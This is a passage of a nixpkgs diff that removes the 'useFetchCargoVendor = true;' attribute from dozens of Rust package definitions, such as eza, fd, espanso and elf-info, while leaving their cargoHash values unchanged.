@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Xo7aqP4tIh/kYthPucscxnl+ZtVioEja4TTFdH0Q350=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wDEtVsgkddGv89tTy96wYzNWVicn34Gxi+YAo7yAfQA=";
 
   # needed for librocksdb-sys
diff --git a/pkgs/by-name/el/element-desktop/seshat/default.nix b/pkgs/by-name/el/element-desktop/seshat/default.nix
index cafc33f1eaf8..5e3bb3f0aa07 100644
--- a/pkgs/by-name/el/element-desktop/seshat/default.nix
+++ b/pkgs/by-name/el/element-desktop/seshat/default.nix
@@ -29,8 +29,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/seshat-node/native";
 
-  useFetchCargoVendor = true;
-
   nativeBuildInputs = [
     nodejs
     python3
diff --git a/pkgs/by-name/el/elf-info/package.nix b/pkgs/by-name/el/elf-info/package.nix
index 051e238e7fec..87268ad36720 100644
--- a/pkgs/by-name/el/elf-info/package.nix
+++ b/pkgs/by-name/el/elf-info/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-wbFVuoarOoxV9FqmuHJ9eZlG4rRqy1rsnuqbGorC2Rk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JSCdMGScpeA5q6++veuQ8li3qVTuB0XdJ1yacsqgBDg=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/el/elf2nucleus/package.nix b/pkgs/by-name/el/elf2nucleus/package.nix
index d7387ee55958..9ec60658ada8 100644
--- a/pkgs/by-name/el/elf2nucleus/package.nix
+++ b/pkgs/by-name/el/elf2nucleus/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FAIOtGfGow+0DrPPEBEfvaiinNZLQlGWKJ4DkMj63OA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Xw+heCEwQePyU2gElpG8PTIUZA7y+Onx+2AX2NZzDGs=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/el/elf2uf2-rs/package.nix b/pkgs/by-name/el/elf2uf2-rs/package.nix
index f97f0f330aa5..545de62b9b49 100644
--- a/pkgs/by-name/el/elf2uf2-rs/package.nix
+++ b/pkgs/by-name/el/elf2uf2-rs/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7RS2OC00tjsSBYFvg0/FQf1HN515FdrmCoKhJBu4fvI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OiZGM/cfGwJA3uCg5sf3eo99BJXFoSzL/2k8AioQeyM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/el/elfcat/package.nix b/pkgs/by-name/el/elfcat/package.nix
index f82b051828f6..6133034346bf 100644
--- a/pkgs/by-name/el/elfcat/package.nix
+++ b/pkgs/by-name/el/elfcat/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-8jyOYV455APlf8F6HmgyvgfNGddMzrcGhj7yFQT6qvg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oVl+40QunvKZIbhsOgqNTsvWduCXP/QJ0amT8ECSsMU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/el/elfx86exts/package.nix b/pkgs/by-name/el/elfx86exts/package.nix
index f249e1bca6d6..c1f0dfd276ba 100644
--- a/pkgs/by-name/el/elfx86exts/package.nix
+++ b/pkgs/by-name/el/elfx86exts/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-lqaOnZxuiip1HPDpQraXlpUBYeJuBCRTaNARZVEV5UY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7FVcLvbZQK5M90ofoBpK2V/1+vWlBI/Z2x3ydbCwVbM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/el/eludris/package.nix b/pkgs/by-name/el/eludris/package.nix
index f91938cb3ccd..b2037d5ad9ef 100644
--- a/pkgs/by-name/el/eludris/package.nix
+++ b/pkgs/by-name/el/eludris/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-TVYgimkGUSITB3IaMlMd10PWomqyJRvONvJwiW85U4M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JpXjnkZHz12YxgTSqTcWdQTkrMugP7ZGw48145BeBZk=";
 
   cargoBuildFlags = [ "-p eludris" ];
diff --git a/pkgs/by-name/em/emacs-lsp-booster/package.nix b/pkgs/by-name/em/emacs-lsp-booster/package.nix
index f81a4fcfc8c2..bac3f51c3fa2 100644
--- a/pkgs/by-name/em/emacs-lsp-booster/package.nix
+++ b/pkgs/by-name/em/emacs-lsp-booster/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-uP/xJfXQtk8oaG5Zk+dw+C2fVFdjpUZTDASFuj1+eYs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BR0IELLzm+9coaiLXQn+Rw6VLyiFEAk/nkO08qPwAac=";
 
   nativeCheckInputs = [ emacs ]; # tests/bytecode_test
diff --git a/pkgs/by-name/em/emplace/package.nix b/pkgs/by-name/em/emplace/package.nix
index 935d4f5ae5a2..379743967b74 100644
--- a/pkgs/by-name/em/emplace/package.nix
+++ b/pkgs/by-name/em/emplace/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nBpM8i4jlxtnaonOx71DWjbLS8tYznJkoR2JI/B25LM=";
 
   meta = {
diff --git a/pkgs/by-name/em/emulsion/package.nix b/pkgs/by-name/em/emulsion/package.nix
index 457ba352ff84..036a08eb28b8 100644
--- a/pkgs/by-name/em/emulsion/package.nix
+++ b/pkgs/by-name/em/emulsion/package.nix
@@ -43,7 +43,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-0t+MUZu1cvkJSL9Ly9kblH8fMr05KuRpOo+JDn/VUc8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1s5kCUxn4t1A40QHuygGKaqphLmcl+EYfx++RZQmL00=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/en/en-croissant/package.nix b/pkgs/by-name/en/en-croissant/package.nix
index f4b7b0ad914d..543c56115ac3 100644
--- a/pkgs/by-name/en/en-croissant/package.nix
+++ b/pkgs/by-name/en/en-croissant/package.nix
@@ -36,7 +36,6 @@ rustPlatform.buildRustPackage rec {
 
   cargoRoot = "src-tauri";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6cBGOdJ7jz+mOl2EEXxoLNeX9meW+ybQxAxnnHAplIc=";
 
   buildAndTestSubdir = cargoRoot;
diff --git a/pkgs/by-name/en/engage/package.nix b/pkgs/by-name/en/engage/package.nix
index 11a07f9c2432..51fdd91008f9 100644
--- a/pkgs/by-name/en/engage/package.nix
+++ b/pkgs/by-name/en/engage/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-niXh63xTpXSp9Wqwfi8hUBKJSClOUSvB+TPCTaqHfZk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0r5MIoitmFxUODxzi0FBLsUpdGrG1pY8Lo+gy7HeJU8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/en/enkei/package.nix b/pkgs/by-name/en/enkei/package.nix
index c6a7fd761164..8c9eb4fd85f0 100644
--- a/pkgs/by-name/en/enkei/package.nix
+++ b/pkgs/by-name/en/enkei/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-COU2JtiJcPRA3Jno0qLEIVgimYBWfn5Pgc1OMImsJtI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4LgJP3xtN009rf12hOZvmqXK6iz7yn0Y4zwVSo+qEZQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/en/envfs/package.nix b/pkgs/by-name/en/envfs/package.nix
index 3c7b57002fb4..7e2fbd3127d3 100644
--- a/pkgs/by-name/en/envfs/package.nix
+++ b/pkgs/by-name/en/envfs/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-bpATdm/lB+zomPYGCxA7omWK/SKPIaqr94J+fjMaXfE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nMUdAFRHJZDwvLASBVykzzkwk3HxslDehqqm1U99qYg=";
 
   postInstall = ''
diff --git a/pkgs/by-name/en/envio/package.nix b/pkgs/by-name/en/envio/package.nix
index 8578b8307378..7f8a3d318a42 100644
--- a/pkgs/by-name/en/envio/package.nix
+++ b/pkgs/by-name/en/envio/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-je0DBoBIayFK//Aija5bnO/2z+hxNWgVkwOgxMyq5s4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-stb5BZ77yBUjP6p3yfdgtN6fkE7wWU6A+sPAmc8YZD0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ep/epick/package.nix b/pkgs/by-name/ep/epick/package.nix
index 14bfac54b081..496ea55a0357 100644
--- a/pkgs/by-name/ep/epick/package.nix
+++ b/pkgs/by-name/ep/epick/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-gjqAQrGJ9KFdzn2a3fOgu0VJ9zrX5stsbzriOGJaD/4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-r/0aNzU8jm2AqiZWq4plxXY/H7qKVC8nEI9BwOUKCdA=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/by-name/ep/epilys-bb/package.nix b/pkgs/by-name/ep/epilys-bb/package.nix
index 3fb42e80a170..99a092cfc82f 100644
--- a/pkgs/by-name/ep/epilys-bb/package.nix
+++ b/pkgs/by-name/ep/epilys-bb/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-szeEBiolg2rVD2XZoNrncUYnA8KPhWwhQPYsjuxp904=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xUNvVG5jdAXsro2P8je3LFxqMycJEB4j7w3abf6jilw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/er/erdtree/package.nix b/pkgs/by-name/er/erdtree/package.nix
index 685ebdad70e9..925081801ade 100644
--- a/pkgs/by-name/er/erdtree/package.nix
+++ b/pkgs/by-name/er/erdtree/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rm3j1exvdlJtMXgFeRmzr3YU/sLpQFL3PCa8kLVlinM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qmSkMoTAwZz7Bn+r67tmh0SLvkM1EFAkySjLFzFFBv4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/er/erg/package.nix b/pkgs/by-name/er/erg/package.nix
index 0c3b0e3836d3..18a5645ac0a1 100644
--- a/pkgs/by-name/er/erg/package.nix
+++ b/pkgs/by-name/er/erg/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-P59PUdwSGZHiQltyMhL683pt8mM96cDko9zfaep9lYU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-krO4jqkLFFeiqC2Y+RKZs0poQpsHcpMsNlYG6q8IXxo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/es/esbuild-config/package.nix b/pkgs/by-name/es/esbuild-config/package.nix
index 2edcf890a7af..bccddd4939aa 100644
--- a/pkgs/by-name/es/esbuild-config/package.nix
+++ b/pkgs/by-name/es/esbuild-config/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-u3LgecKfgPSN5xMyqBjeAn4/XswM3iEGbZ+JGrVF1Co=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OQ7zlcWVu3sS/u0B+Ew6VUS4zxntKU2LF63ZcPRUKW0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/es/esp-generate/package.nix b/pkgs/by-name/es/esp-generate/package.nix
index b0cc10b7d621..923e485e9fd4 100644
--- a/pkgs/by-name/es/esp-generate/package.nix
+++ b/pkgs/by-name/es/esp-generate/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-4RF0XcDpUcMQ0u2FTRBnZdQDM7DlaI7pl5HukMbbbBE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-c/BYf6SXOdI/K4t3fT4ycuILkIYCiSbHafLprSMvK8E=";
 
   meta = {
diff --git a/pkgs/by-name/es/espanso/package.nix b/pkgs/by-name/es/espanso/package.nix
index 33649bc9ab18..a74345c38be3 100644
--- a/pkgs/by-name/es/espanso/package.nix
+++ b/pkgs/by-name/es/espanso/package.nix
@@ -39,7 +39,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-4MArENBmX6tDVLZE1O8cuJe7A0R+sLZoxBkDvIwIVZ4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2Hf492/xZ/QGqDYbjiZep/FX8bPyEuoxkMJ4qnMqu+c=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/es/espflash/package.nix b/pkgs/by-name/es/espflash/package.nix
index ecedcbe64143..f81b80087e02 100644
--- a/pkgs/by-name/es/espflash/package.nix
+++ b/pkgs/by-name/es/espflash/package.nix
@@ -36,7 +36,6 @@ rustPlatform.buildRustPackage rec {
     udev
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WEPSXgHR7wA2zWbc8ogVxDRtXcmR20R14Qwo2VqPLrQ=";
   checkFlags = [
     "--skip cli::monitor::external_processors"
diff --git a/pkgs/by-name/es/espup/package.nix b/pkgs/by-name/es/espup/package.nix
index aa2abea94bd4..3cc78e1d9853 100644
--- a/pkgs/by-name/es/espup/package.nix
+++ b/pkgs/by-name/es/espup/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-fVReUgwiR6aOdHNcXxpQ38ujgfhviU+IFRaoe/1DTRI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-P+VDXzfpYDjZQG3BOr9nLWJVqlkGI3rZcPKBnp3PDxM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/eu/eureka-ideas/package.nix b/pkgs/by-name/eu/eureka-ideas/package.nix
index 094497db1697..fb14cde9e5a5 100644
--- a/pkgs/by-name/eu/eureka-ideas/package.nix
+++ b/pkgs/by-name/eu/eureka-ideas/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-NJ1O8+NBG0y39bMOZeah2jSZlvnPrtpCtXrgAYmVrAc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nTYMKJ5OCApqooIF1dsDLriPfYjkZkTdtzpkJya/5ag=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ev/eva/package.nix b/pkgs/by-name/ev/eva/package.nix
index b758b5b538a7..9b27694a59f7 100644
--- a/pkgs/by-name/ev/eva/package.nix
+++ b/pkgs/by-name/ev/eva/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eX2d9h6zNbheS68j3lyhJW05JZmQN2I2MdcmiZB8Mec=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7vhhm2qAaSwBjbYfDER9bnC3OOOun4brn7Ft4mO6jfI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ev/evcxr/package.nix b/pkgs/by-name/ev/evcxr/package.nix
index 581420e88300..9e92407bf7a0 100644
--- a/pkgs/by-name/ev/evcxr/package.nix
+++ b/pkgs/by-name/ev/evcxr/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     sha256 = "sha256-8PjZFWUH76QrA8EI9Cx0sBCzocvSmnp84VD7Nv9QMc8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hE/O6lHC0o+nrN4vaQ155Nn2gZscpfsZ6o7IDi/IEjI=";
 
   RUST_SRC_PATH = "${rustPlatform.rustLibSrc}";
diff --git a/pkgs/by-name/ev/evebox/package.nix b/pkgs/by-name/ev/evebox/package.nix
index 1e01e425b73e..6236eb87b994 100644
--- a/pkgs/by-name/ev/evebox/package.nix
+++ b/pkgs/by-name/ev/evebox/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vakCBDyL/Su55tkn/SJ5ShZcYC8l+p2acpve/fTN0uI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-b3PQQlSRt1ysnJIkBXdG1KRUdEJ8h1WLzbmZXx9VjqU=";
 
   meta = {
diff --git a/pkgs/by-name/ev/evil-helix/package.nix b/pkgs/by-name/ev/evil-helix/package.nix
index 01262f9e2d63..5caf0fa5ccdc 100644
--- a/pkgs/by-name/ev/evil-helix/package.nix
+++ b/pkgs/by-name/ev/evil-helix/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0dXDAhnkkr5rh4UK0zkT3xYthk01VbNnRrYe5rD3oh4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-epI/Xvw0mgc1IoDXpACws7Lsbkj1Xdk7conzJlUqRxY=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ev/evremap/package.nix b/pkgs/by-name/ev/evremap/package.nix
index 4137c5c17f61..37f4f2679a46 100644
--- a/pkgs/by-name/ev/evremap/package.nix
+++ b/pkgs/by-name/ev/evremap/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-aAAnlGlSFPOK3h8UuAOlFyrKTEuzbyh613IiPE7xWaA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3KXvRbPHM78IGe7Hl8AEHCmK0onroQycyTfOm942e9Y=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ev/evscript/package.nix b/pkgs/by-name/ev/evscript/package.nix
index 0043bb0eb3c4..e5801005edd4 100644
--- a/pkgs/by-name/ev/evscript/package.nix
+++ b/pkgs/by-name/ev/evscript/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lCXDDLovUb5aSOPTyVJL25v1JT1BGrrUlUR0Mu0XX4Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-L0qwHWxMf/Nd0B2FWLIpKLgrs2LRyTOwuG/7keMI2zE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ev/evsieve/package.nix b/pkgs/by-name/ev/evsieve/package.nix
index ca2324cbfc7a..ad1df7f50e1d 100644
--- a/pkgs/by-name/ev/evsieve/package.nix
+++ b/pkgs/by-name/ev/evsieve/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-UV5m8DmFtkCU/DoBJNBCdvhU/jYtU5+WnnhKwxZNl9g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rOqjB/ZakXhuKgN3auEOGzV+9bDX30TTZWD8nt3b+pE=";
 
   buildInputs = [ libevdev ];
diff --git a/pkgs/by-name/ev/evtx/package.nix b/pkgs/by-name/ev/evtx/package.nix
index d4c94cc94f75..e7b24312d628 100644
--- a/pkgs/by-name/ev/evtx/package.nix
+++ b/pkgs/by-name/ev/evtx/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-fgOuhNE77zVjL16oiUifnKZ+X4CQnZuD8tY+h0JTOYU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-E9BoqpnKhVNwOiEvZROF3xj9Ge8r2CNaBiwHdkdV5aw=";
 
   postPatch = ''
diff --git a/pkgs/by-name/ew/eww/package.nix b/pkgs/by-name/ew/eww/package.nix
index cb029071463d..5701e695c873 100644
--- a/pkgs/by-name/ew/eww/package.nix
+++ b/pkgs/by-name/ew/eww/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0AEYrizfnhhFmxADBEjnXL4VHvzdTvpmZ0Gjk2IQr9g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GjYeto/As8fM0xqTHfyKQ5YWAciBW9tvXM9ra3V86Eo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ex/examine/package.nix b/pkgs/by-name/ex/examine/package.nix
index 1cc15d1a3f1c..9a58f9238cf3 100644
--- a/pkgs/by-name/ex/examine/package.nix
+++ b/pkgs/by-name/ex/examine/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-9xYUJeAYqnDYZzjWM21HuSNDY+ZcUlTdj/g/MUH2A54=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BcBCPkahV6+xw+K+Vk4QjwX5QI1j4hNkD9YTyL24iRA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ex/extest/package.nix b/pkgs/by-name/ex/extest/package.nix
index 229cd97a66e3..03424c075283 100644
--- a/pkgs/by-name/ex/extest/package.nix
+++ b/pkgs/by-name/ex/extest/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qdTF4n3uhkl3WFT+7bAlwCjxBx3ggTN6i3WzFg+8Jrw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-82jG4tHqc5FQFGp4NANk2oJjiHc0+ekVdbdWlqjzaj8=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ez/eza/package.nix b/pkgs/by-name/ez/eza/package.nix
index 2d54c863abb4..069b2f0a345d 100644
--- a/pkgs/by-name/ez/eza/package.nix
+++ b/pkgs/by-name/ez/eza/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-6SGGeZVQe3uuyEt6TJn5cBqnI/BdDGRiPHugKrgQNhs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QCy9lLOSB+64DPTc/SVSCrD2nfJswGcR2P9AdN6CqZw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ez/ezno/package.nix b/pkgs/by-name/ez/ezno/package.nix
index 7cf45f25c4b1..3c8dff907b22 100644
--- a/pkgs/by-name/ez/ezno/package.nix
+++ b/pkgs/by-name/ez/ezno/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0yLEpNkl7KjBEGxNONtfMjVlWMSKGZ6TbYJMsCeQ3ms=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-v4lgHx+sR58CshZJCUYrtaW4EDFBUKFPJJ6V+eyf5Bc=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/fa/fac-build/package.nix b/pkgs/by-name/fa/fac-build/package.nix
index affbe921db9f..0e8321184aea 100644
--- a/pkgs/by-name/fa/fac-build/package.nix
+++ b/pkgs/by-name/fa/fac-build/package.nix
@@ -15,7 +15,7 @@ rustPlatform.buildRustPackage rec {
     crateName = "fac";
     hash = "sha256-+JJVuKUdnjJoQJ4a2EE0O6jZdVoFxPwbPgfD2LfiDPI=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-+2j6xH1Ww1WOLfbjknUPvCmYLAl4W3Zp/mQTaL0qnv0=";
 
   # fac includes a unit test called ls_files_works which assumes it's
diff --git a/pkgs/by-name/fa/faircamp/package.nix b/pkgs/by-name/fa/faircamp/package.nix
index 34f906501b14..99fde982f004 100644
--- a/pkgs/by-name/fa/faircamp/package.nix
+++ b/pkgs/by-name/fa/faircamp/package.nix
@@ -25,8 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-68wo95SjiCBS8cikMGZpnpYx7AqyIQ/szXMorirwVPk=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-YyzzkWgjEKl46CfAkbFdum+AWCO0YGTXDh86mtHtCQs=";
 
   buildFeatures = [ "libvips" ];
diff --git a/pkgs/by-name/fa/faketty/package.nix b/pkgs/by-name/fa/faketty/package.nix
index 509ac9b29a0d..dbae04ed220d 100644
--- a/pkgs/by-name/fa/faketty/package.nix
+++ b/pkgs/by-name/fa/faketty/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ntfbwaVZM4wtoDaaFo+Y7RHSft3KZ29DMsNiTvhiaXs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0pDm/e1xisPLqdTe10kleoejQfuOZoZW6l/83Splz/Y=";
 
   postPatch = ''
diff --git a/pkgs/by-name/fa/fanctl/package.nix b/pkgs/by-name/fa/fanctl/package.nix
index eafe3ec82a4d..377e7911c123 100644
--- a/pkgs/by-name/fa/fanctl/package.nix
+++ b/pkgs/by-name/fa/fanctl/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-XmawybmqRJ9Lj6ii8TZBFwqdQZVp0pOLN4xiSLkU/bw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CfONnF5gUnfPVmLSNzsk6xYEv70CnJfI3Gi9vCkrAcE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/fa/fast-ssh/package.nix b/pkgs/by-name/fa/fast-ssh/package.nix
index b3b64a6fea71..c2865f2dc8df 100644
--- a/pkgs/by-name/fa/fast-ssh/package.nix
+++ b/pkgs/by-name/fa/fast-ssh/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Wn1kwuY1tRJVe9DJexyQ/h+Z1gNtluj78QpBYjeCbSE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qkvonLuS18BBPdBUUnIAbmA+9ZJZFmTRaewrnK9PHFE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/fa/fastmod/package.nix b/pkgs/by-name/fa/fastmod/package.nix
index 0c238b3bc21b..6a9a19d7f204 100644
--- a/pkgs/by-name/fa/fastmod/package.nix
+++ b/pkgs/by-name/fa/fastmod/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-A/3vzfwaStoQ9gdNM8yjmL2J/pQjj6yb68WThiTF+1E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GpV7F0TQyIRowY8LqLTVuwJcRYyyu055+g7BmxT4TMQ=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/fb/fblog/package.nix b/pkgs/by-name/fb/fblog/package.nix
index 2c015d35e8c3..d2a8990b4952 100644
--- a/pkgs/by-name/fb/fblog/package.nix
+++ b/pkgs/by-name/fb/fblog/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-YOHLw8YCgOGB1Nn2tD+EnicKd/tiMk07OWv+49btbpw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rMpqf3UE/vEiLkocEwVjSCYrJKrUufUjZ9ldlBY86yI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/fc/fcast-client/package.nix b/pkgs/by-name/fc/fcast-client/package.nix
index 46166d927bea..c04a16675092 100644
--- a/pkgs/by-name/fc/fcast-client/package.nix
+++ b/pkgs/by-name/fc/fcast-client/package.nix
@@ -17,7 +17,7 @@ rustPlatform.buildRustPackage rec {
   };
 
   sourceRoot = "${src.name}/clients/terminal";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-yzsAe+fr1yX8RBJPtXSr/R7W0iJpeF3JW3E4ius+8nU=";
 
   meta = {
diff --git a/pkgs/by-name/fc/fcp/package.nix b/pkgs/by-name/fc/fcp/package.nix
index b8c6fe2e380c..27f11e12aa16 100644
--- a/pkgs/by-name/fc/fcp/package.nix
+++ b/pkgs/by-name/fc/fcp/package.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage rec {
     ./0001-update-Cargo.lock.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WcbrHAgFTP5OtLI+T0d0BoIxG0MBJzPgjjgCWL2nPus=";
 
   nativeBuildInputs = [ expect ];
diff --git a/pkgs/by-name/fd/fd/package.nix b/pkgs/by-name/fd/fd/package.nix
index 42706a9a575e..1693f93a3ed5 100644
--- a/pkgs/by-name/fd/fd/package.nix
+++ b/pkgs/by-name/fd/fd/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-B+lOohoPH7UkRxRNTzSVt0SDrqEwh4hIvBF3uWliDEI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0LzraGDujLMs60/Ytq2hcG/3RYbo8sJkurYVhRpa2D8=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/fe/fedigroups/package.nix b/pkgs/by-name/fe/fedigroups/package.nix
index 6a3738fd06a7..eb2c9d00b77e 100644
--- a/pkgs/by-name/fe/fedigroups/package.nix
+++ b/pkgs/by-name/fe/fedigroups/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     leaveDotGit = true; # git command in build.rs
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6UijHshvKANtMMfNADWDViDrh6bGlPvFz4xqJeWdqB0=";
 
   nativeBuildInputs = [
